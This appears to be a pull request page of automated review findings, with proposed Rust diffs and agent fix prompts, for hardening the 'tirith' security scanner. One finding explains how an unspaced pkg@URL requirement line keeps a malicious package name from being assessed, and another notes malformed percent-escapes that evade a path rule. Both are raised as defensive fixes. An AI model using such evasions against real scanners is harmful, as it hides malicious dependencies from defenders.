In `@crates/tirith/src/cli/devcontainer.rs` around lines 108 - 112, Update the
workspace-root resolution before find_devcontainer_json and inject_tirith_hook
to handle std::fs::canonicalize failure explicitly: report the error or
terminate the command instead of silently reusing the unresolved cwd. Preserve
the canonical-root containment behavior for successful resolution.
crates/tirith-core/src/ecosystem_scan.rs-1015-1030 (1)

1015-1030: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

A direct reference without spaces around @ yields no assessed package name.

Name extraction runs only when the line contains " @ ". PEP 508 allows pkg@https://host/x.whl with no spaces. Such a line matches contains("://"), is recorded as an unsupported source, and then continues, so pkg is never assessed against the threat database. An attacker controlling a requirements file can therefore keep a known-malicious name out of the assessed inventory while only a generic note is emitted.

Split on the first @ when " @ " is absent.

🐛 Proposed fix
             unsupported_sources.push(line.to_string());
-            if let Some((name, _)) = line.split_once(" @ ") {
-                if let Some(name) = python_requirement_name(name.trim()) {
+            let head = line
+                .split_once(" @ ")
+                .or_else(|| line.split_once('@'))
+                .map(|(name, _)| name);
+            if let Some(head) = head {
+                if let Some(name) = python_requirement_name(head.trim()) {
                     out.push(DeclaredDependency {
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/ecosystem_scan.rs` around lines 1015 - 1030, Update
the direct-reference handling in the ecosystem scan to extract the package name
from the first `@` when the line contains a URL but not `" @ "`, while
preserving the existing spaced-reference behavior. Ensure the extracted name
still passes through `python_requirement_name` and produces a PyPI
`DeclaredDependency` before the unsupported source is recorded or processing
continues.
crates/tirith-core/src/context_detect.rs-190-199 (1)

190-199: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

KUBECONFIG lists only fingerprint the first path.

kubectl merges every path in KUBECONFIG. A context change written to a later file leaves kubeconfig_env and the first path's mtime unchanged, so the cache is honored for the rest of the TTL. Fingerprint every entry in the list.

🛡️ Proposed fix: record the mtime of each list entry
-        kubeconfig_mtime: std::env::var("KUBECONFIG")
-            .ok()
-            .and_then(|v| {
-                let separator = if cfg!(windows) { ';' } else { ':' };
-                v.split(separator).next().map(str::trim).map(String::from)
-            })
-            .as_deref()
-            .map(std::path::Path::new)
-            .and_then(file_mtime),
+        kubeconfig_mtimes: std::env::var("KUBECONFIG")
+            .ok()
+            .map(|v| {
+                let separator = if cfg!(windows) { ';' } else { ':' };
+                v.split(separator)
+                    .map(str::trim)
+                    .filter(|p| !p.is_empty())
+                    .map(|p| file_mtime(std::path::Path::new(p)))
+                    .collect::<Vec<_>>()
+            })
+            .unwrap_or_default(),

The struct field type changes to Vec<Option<SystemTime>>.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/context_detect.rs` around lines 190 - 199, Update the
KUBECONFIG fingerprinting in the context-detection struct to process every
separator-delimited path rather than only the first entry, and change the
corresponding field type to Vec<Option<SystemTime>> as required. Preserve
platform-specific separators, trim each path, and collect each entry’s
file_mtime result so cache validation detects changes in any configured file.
crates/tirith-core/src/ecosystem_scan.rs-2605-2619 (1)

2605-2619: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Cover the qualified allowlist form in the test

Ecosystem formats as lowercase, so the implementation does not have the reported case mismatch. The test still repeats the bare pattern and does not exercise eco:name. Use npm:left-pad in a separate allowlist policy.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/ecosystem_scan.rs` around lines 2605 - 2619, Update
the test for rule_scoped_allowlisted to use a separate allowlist policy
containing the qualified pattern “npm:left-pad” instead of repeating the bare
“left-pad” pattern, and assert that this qualified form is accepted.
crates/tirith-core/src/ecosystem_scan.rs-1231-1246 (1)

1231-1246: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Use Poetry lockfile groups to classify development dependencies

Poetry 1.5 and later omit category and store package group membership in groups. When category is absent, classify non-main groups as development dependencies instead of setting dev to false.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/ecosystem_scan.rs` around lines 1231 - 1246, Update
the PyPI dependency parsing near DeclaredDependency construction to derive dev
from the package’s groups when category is absent: classify the dependency as
development if any group is not "main", while preserving the existing category
== "dev" behavior when category is present. Use the package groups data exposed
by the lockfile parser and keep the existing default for packages without group
information.
crates/tirith-core/src/script_analysis.rs-7-13 (1)

7-13: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

Propagate references_capped to receipt output. Receipt and PublicReceipt omit the cap flag, so receipt consumers cannot distinguish capped lists from complete lists. Add the flag, propagate it from runner.rs, and update related documentation and tests.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/script_analysis.rs` around lines 7 - 13, Propagate
ScriptAnalysis.references_capped through the receipt pipeline: add the field to
Receipt and PublicReceipt, set it from the analysis result in runner.rs, and
update associated documentation and tests to cover capped versus complete
reference lists.
crates/tirith-core/src/normalize.rs-149-217 (1)

149-217: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Handle PercentDecodedView::invalid in rules/path.rs. Malformed ASCII triplets such as /x%GGy, /x%, and /x%4 set invalid but leave decoded unchanged, so the path rule emits no finding. Add explicit handling for view.invalid; repeated_encoded is already handled.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/normalize.rs` around lines 149 - 217, Update the
path-rule logic in rules/path.rs to explicitly handle
PercentDecodedView::invalid after calling percent_decoded_view, so malformed
ASCII escapes such as incomplete or non-hex triplets produce the required
finding even when decoded is unchanged. Preserve the existing repeated_encoded
handling and avoid altering percent_decoded_view.
crates/tirith/src/cli/package.rs-604-618 (1)

604-618: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

The gate trims the version, but the query does not.

is_exact_osv_version shadows v with v.trim() at Line 1133, so " 1.2.3" passes the gate. Line 609 then queries OSV with the untrimmed v, which still carries the leading space. OSV cannot match that string, so the empty result is recorded as a successful lookup with no advisories — the exact misclassification this change prevents.

Normalize once at the call site and pass the normalized value.

🐛 Proposed fix
         if let Some(v) = version {
+            let v = v.trim();
             // repo-0306: OSV answers EXACT-version queries only. A range
             // (`^18.0.0`, `>=1.2,<2.0`) or sigil-prefixed value must not be
             // sent as if exact — an empty response would be misclassified as
             // verified-clean. Mark the lookup unavailable instead.
             if is_exact_osv_version(v) {

Also add unit tests for is_exact_osv_version. The provided ranges show none, and this helper decides whether a vulnerability lookup runs at all.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith/src/cli/package.rs` around lines 604 - 618, Normalize the
version once before the OSV lookup in the exact-version branch, and pass that
trimmed value to tirith_core::osv_correlation::for_package_with_state while
preserving the existing gate and state handling. Add unit tests for
is_exact_osv_version covering valid exact versions, whitespace-trimmed versions,
ranges, and sigil-prefixed values.
crates/tirith-core/src/rules/threatintel.rs-1243-1272 (1)

1243-1272: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

A repeated URL re-emits the hostname finding that the exact match should subsume.

exact_url_matched is only set inside the checked_urls.insert(...) branch. When the same URL appears twice in extracted, the second iteration skips that branch, so exact_url_matched stays false and the hostname lookup at Line 1272 runs again. The command then reports one exact-URL finding plus one hostname finding for the same URL, which is the duplicate the dedupe intends to prevent. Record the match result per URL instead of a bare set.

🐛 Proposed fix: remember the lookup result per URL
-    let mut checked_urls = std::collections::HashSet::new();
+    let mut checked_urls: std::collections::HashMap<String, bool> = std::collections::HashMap::new();
     for url_info in extracted {
         let canonical_url = url_info.raw.trim();
         let mut exact_url_matched = false;
-        if !canonical_url.is_empty() && checked_urls.insert(canonical_url.to_string()) {
+        if let Some(previous) = checked_urls.get(canonical_url) {
+            exact_url_matched = *previous;
+        } else if !canonical_url.is_empty() {
             if let Some(source) = db.check_malicious_url(canonical_url) {
                 exact_url_matched = true;
                 findings.push(Finding {
@@
                 });
             }
+            checked_urls.insert(canonical_url.to_string(), exact_url_matched);
         }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/rules/threatintel.rs` around lines 1243 - 1272,
Replace the bare URL deduplication state used around the exact-match logic with
per-URL match-result storage. Update the flow surrounding the exact URL lookup
and hostname check so repeated URLs reuse whether the first lookup matched,
keeping hostname findings suppressed whenever the exact URL was previously
matched while preserving normal processing for non-matches.
crates/tirith-core/src/rules/rendered.rs-739-794 (1)

739-794: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Constrain /ObjStm matching and add regression coverage.

pdf_objstm_max_hidden_nesting applies ZlibDecoder to every raw /ObjStm substring. Valid /LZWDecode or encrypted object streams, and /ObjStm data inside strings or unrelated streams, can therefore produce a blocking AnalysisIncomplete finding. Add tests for these cases. If rejection is not intentional, match actual object-stream dictionaries and honor their filter state.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/rules/rendered.rs` around lines 739 - 794, Update
pdf_objstm_max_hidden_nesting to inspect only actual object-stream dictionaries,
excluding /ObjStm text inside strings, unrelated streams, and streams whose
filter is not supported by the ZlibDecoder (such as /LZWDecode or encrypted
streams). Preserve fail-closed behavior for malformed or unverifiable object
streams, and add regression tests covering each excluded case.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro

Run ID: 5d204c2c-9c02-42f7-b4fa-c5507e93fac2

📥 Commits

Reviewing files that changed from the base of the PR and between 12f414d and 9ca3ff2.

⛔ Files ignored due to path filters (1)
  • Cargo.lock is excluded by !**/*.lock
📒 Files selected for processing (79)
  • .cargo/audit.toml
  • crates/tirith-core/Cargo.toml
  • crates/tirith-core/assets/data/rule_explanations.toml
  • crates/tirith-core/build.rs
  • crates/tirith-core/src/aliases.rs
  • crates/tirith-core/src/artifact/release_diff.rs
  • crates/tirith-core/src/artifact/wheel.rs
  • crates/tirith-core/src/audit_aggregator.rs
  • crates/tirith-core/src/audit_upload.rs
  • crates/tirith-core/src/baseline.rs
  • crates/tirith-core/src/blast_radius.rs
  • crates/tirith-core/src/canary.rs
  • crates/tirith-core/src/capsule/windows.rs
  • crates/tirith-core/src/checkpoint.rs
  • crates/tirith-core/src/commands_manifest.rs
  • crates/tirith-core/src/context_detect.rs
  • crates/tirith-core/src/deobfuscate.rs
  • crates/tirith-core/src/dep_confusion.rs
  • crates/tirith-core/src/devcontainer_writer.rs
  • crates/tirith-core/src/ecosystem_scan.rs
  • crates/tirith-core/src/engine.rs
  • crates/tirith-core/src/env_guard.rs
  • crates/tirith-core/src/escalation.rs
  • crates/tirith-core/src/execution_state.rs
  • crates/tirith-core/src/extract.rs
  • crates/tirith-core/src/hygiene.rs
  • crates/tirith-core/src/iac_plan.rs
  • crates/tirith-core/src/incident.rs
  • crates/tirith-core/src/license.rs
  • crates/tirith-core/src/lsp_profiles.rs
  • crates/tirith-core/src/mcp/content.rs
  • crates/tirith-core/src/mcp/output_filter.rs
  • crates/tirith-core/src/mcp/resources.rs
  • crates/tirith-core/src/mcp/response_inspect.rs
  • crates/tirith-core/src/mcp/tools.rs
  • crates/tirith-core/src/mcp_lock.rs
  • crates/tirith-core/src/network/dns.rs
  • crates/tirith-core/src/network/shorturl.rs
  • crates/tirith-core/src/normalize.rs
  • crates/tirith-core/src/osv_correlation.rs
  • crates/tirith-core/src/path_audit.rs
  • crates/tirith-core/src/persistence.rs
  • crates/tirith-core/src/policy.rs
  • crates/tirith-core/src/policy_client.rs
  • crates/tirith-core/src/provenance/graph.rs
  • crates/tirith-core/src/receipt.rs
  • crates/tirith-core/src/registry_api.rs
  • crates/tirith-core/src/registry_history.rs
  • crates/tirith-core/src/repo_mismatch.rs
  • crates/tirith-core/src/rules/cloaking.rs
  • crates/tirith-core/src/rules/codefile.rs
  • crates/tirith-core/src/rules/context.rs
  • crates/tirith-core/src/rules/credential.rs
  • crates/tirith-core/src/rules/install.rs
  • crates/tirith-core/src/rules/output.rs
  • crates/tirith-core/src/rules/path.rs
  • crates/tirith-core/src/rules/prompt_injection.rs
  • crates/tirith-core/src/rules/rendered.rs
  • crates/tirith-core/src/rules/shared.rs
  • crates/tirith-core/src/rules/terminal.rs
  • crates/tirith-core/src/rules/threatintel.rs
  • crates/tirith-core/src/scan.rs
  • crates/tirith-core/src/scoring.rs
  • crates/tirith-core/src/script_analysis.rs
  • crates/tirith-core/src/session.rs
  • crates/tirith-core/src/session_warnings.rs
  • crates/tirith-core/src/taint.rs
  • crates/tirith-core/src/threatdb.rs
  • crates/tirith-core/src/threatdb_api.rs
  • crates/tirith-core/src/threatdb_feeds.rs
  • crates/tirith-core/src/util/contained_fs.rs
  • crates/tirith-core/src/verdict.rs
  • crates/tirith-core/src/webhook.rs
  • crates/tirith-core/tests/golden_fixtures.rs
  • crates/tirith/src/cli/codespaces.rs
  • crates/tirith/src/cli/devcontainer.rs
  • crates/tirith/src/cli/package.rs
  • crates/tirith/src/cli/provenance.rs
  • deny.toml

Comment thread crates/tirith-core/src/canary.rs Outdated
Comment thread crates/tirith-core/src/capsule/windows.rs
Comment thread crates/tirith-core/src/checkpoint.rs
Comment thread crates/tirith-core/src/context_detect.rs Outdated
Comment thread crates/tirith-core/src/ecosystem_scan.rs
Comment thread crates/tirith-core/src/repo_mismatch.rs
Comment thread crates/tirith-core/src/rules/cloaking.rs
Comment thread crates/tirith-core/src/rules/rendered.rs Outdated
Comment thread crates/tirith-core/src/threatdb_api.rs Outdated
Comment thread crates/tirith-core/src/util/contained_fs.rs
@sheeki03
sheeki03 force-pushed the codex/deepsec-r1-critical-boundaries branch from e08daad to adf59b3 Compare August 12, 2026 17:52
@sheeki03
sheeki03 force-pushed the codex/deepsec-r2a-core-hardening branch from 3bbd568 to 00bab72 Compare August 12, 2026 18:53
@sheeki03
sheeki03 changed the base branch from codex/deepsec-r1-critical-boundaries to main August 12, 2026 18:54
@sheeki03
sheeki03 marked this pull request as ready for review August 12, 2026 18:54

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Performance Alert ⚠️

Possible performance regression was detected for benchmark 'tirith benchmarks'.
Benchmark result of this commit is worse than the previous benchmark result exceeding threshold 1.15.

Benchmark suite Current: 00bab72 Previous: 7a58c55 Ratio
full_analysis_obfuscated_output 32568 ns/iter (± 521) 24990 ns/iter (± 367) 1.30

This comment was automatically generated by workflow using github-action-benchmark.

@sheeki03
sheeki03 merged commit 779e7d9 into main Aug 12, 2026
13 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant